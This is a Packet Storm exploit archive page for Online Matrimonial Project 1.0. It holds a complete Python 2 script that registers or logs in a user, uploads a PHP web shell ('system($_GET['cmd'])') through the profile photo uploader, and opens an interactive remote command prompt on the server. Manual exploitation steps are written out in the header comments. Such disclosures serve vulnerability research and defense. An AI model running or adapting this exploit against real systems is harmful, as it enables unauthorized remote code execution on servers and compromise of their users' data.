packet storm
what you don't know can hurt you

| Home | | Files | | News | | About | | Contact | | &[SERVICES_TAB] | | Add New | |

Online Matrimonial Project 1.0 Remote Code Execution

Authored by Valerio Alessandroni   Posted Dec 3, 2020

Online Matrimonial Project version 1.0 authenticated remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | acf99cca26ede57b301fc85244446649e9c002be3a4072fbb426a923164afa88   Download | Favorite | View

Related Files

Share This

Like   Twee   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: Online Matrimonial Project 1.0 - Authenticated Remote Code Execution
# Exploit Author: Valerio Alessandroni
# Date: 2020-10-07
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/online-matrimonial-project-in-php/
# Source Link: https://github.com/projectworldsofficial/online-matrimonial-project-in-php
# Version: 1.0
# Tested On: Server Linux Ubuntu 18.04, Apache2
# Version: Python 2.x
# Impact: Code Execution
# Affected components: Affected move_uploaded_file() function in functions.php file.
# Software: Marital - Online Matrimonial Project In PHP version 1.0 suffers from a File Upload Vulnerability
allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a
maliciously crafted PHP file.
# Attack vector: An authenticated (you can register a user for free) not privileged user is able to upload
arbitrary file in the upload form used to send profile pics, if the file is a PHP script, it can be executed.
#
# Additional information:
#
# To exploit this vulnerability:
# 1) register a not privileged user at /register.php
# 2) login in the application /login.php
# 3) keep note of the redirect with the GET 'id' parameter  /userhome.php?id=[ID]
# 4) go to the page /photouploader.php?id=[ID]
# 5) upload an arbitrary file in the upload form, in my example, I used a file called shell.php with the
content of "<?php system($_GET['cmd']); ?>"
# 6) An error will occurr, but the file is correctly uploaded at /profile/[ID]/shell.php
# 7) run command system command through /profile/[ID]/shell.php?cmd=[COMMAND]
#
# How to use it:
# python exploit.py [URL] [USERNAME] [PASSWORD]

import requests, sys, urllib, re, time
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, ID, FILE_NAME):
    try:
        print(Fore.YELLOW+'[+] '+Fore.RESET+'Connecting to webshell...')
        time.sleep(1)
        WEB_SHELL = SERVER_URL+'profile/'+ID+'/'+FILE_NAME
        getCMD = {'cmd': 'echo ciao'}
        r2 = requests.get(WEB_SHELL, params=getCMD)
        status = r2.status_code
        if status != 200:
            print(Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        while True:

            inputCMD = raw_input('$ ')
            command = {'cmd': inputCMD}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            print r2.text
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def printHeader():
    print(Fore.GREEN+"  _____                       _       _____                  ")
    print(Fore.GREEN+" |  __ \                     (_)     |  __ \                 "+Fore.RED+"        ____   _____   _____")
    print(Fore.GREEN+" | |__) | _ __    ___   ___   _   ___| |  | |                "+Fore.RED+"       |  _ \ / ____| / ____|")
    print(Fore.GREEN+" |  ___/ | '__|  / _ \ / __| | | / _ \ |  | |                "+Fore.RED+"       | |_) | |     | |     ")
    print(Fore.GREEN+" | |     | |    | (_) |\__ \ | || (_) | |__| |               "+Fore.RED+"       |  _ <| |     | |     ")
    print(Fore.GREEN+" |_|     |_|     \___/ |___/ |_| \___/|_____/                "+Fore.RED+"       |_| \_\\_____| \_____|")
    print ''


if __name__ == "__main__":
    printHeader()
    if len(sys.argv) != 4:
        print (Fore.YELLOW+'[+] '+Fore.RESET+"Usage:\t python %s [URL] [USERNAME] [PASSWORD]" % sys.argv[0])
        print (Fore.YELLOW+'[+] '+Fore.RESET+"Example:\t python %s https://192.168.1.1:443/marital/ Thomas
password1234" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    SERVER_URI = SERVER_URL + 'auth/auth.php'
    LOGIN_PARAMS = {'user': '1'}
    LOGIN_DATA = {'username': sys.argv[2], 'password': sys.argv[3], 'op': 'Log in'}
    req = requests.post(SERVER_URI, params=LOGIN_PARAMS, data=LOGIN_DATA, verify=False)
    print(Fore.YELLOW+'[+] '+Fore.RESET+'logging...')
    time.sleep(1)
    for resp in req.history:
        COOKIES = resp.cookies.get_dict()
        SPLITTED = resp.headers["location"].split("=")
        ID = SPLITTED[1]
    print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully retrieved user [ID].')
    time.sleep(1)
    SERVER_URI = SERVER_URL + 'photouploader.php'
    LOGIN_PARAMS = {'id': ID}
    LOGIN_DATA = {'username': sys.argv[2], 'password': sys.argv[3], 'op': 'Log in'}
    FILE_NAME = 'shell.php'
    FILES = {'pic1': (FILE_NAME, '<?php system($_GET[\'cmd\']); ?>'), 'pic2': ('', ''), 'pic3': ('', ''),
'pic4': ('', '')}
    req = requests.post(SERVER_URI, params=LOGIN_PARAMS, files=FILES, cookies=COOKIES, verify=False)
    print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully uploaded.')
    time.sleep(1)
    webshell(SERVER_URL, ID, FILE_NAME)
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed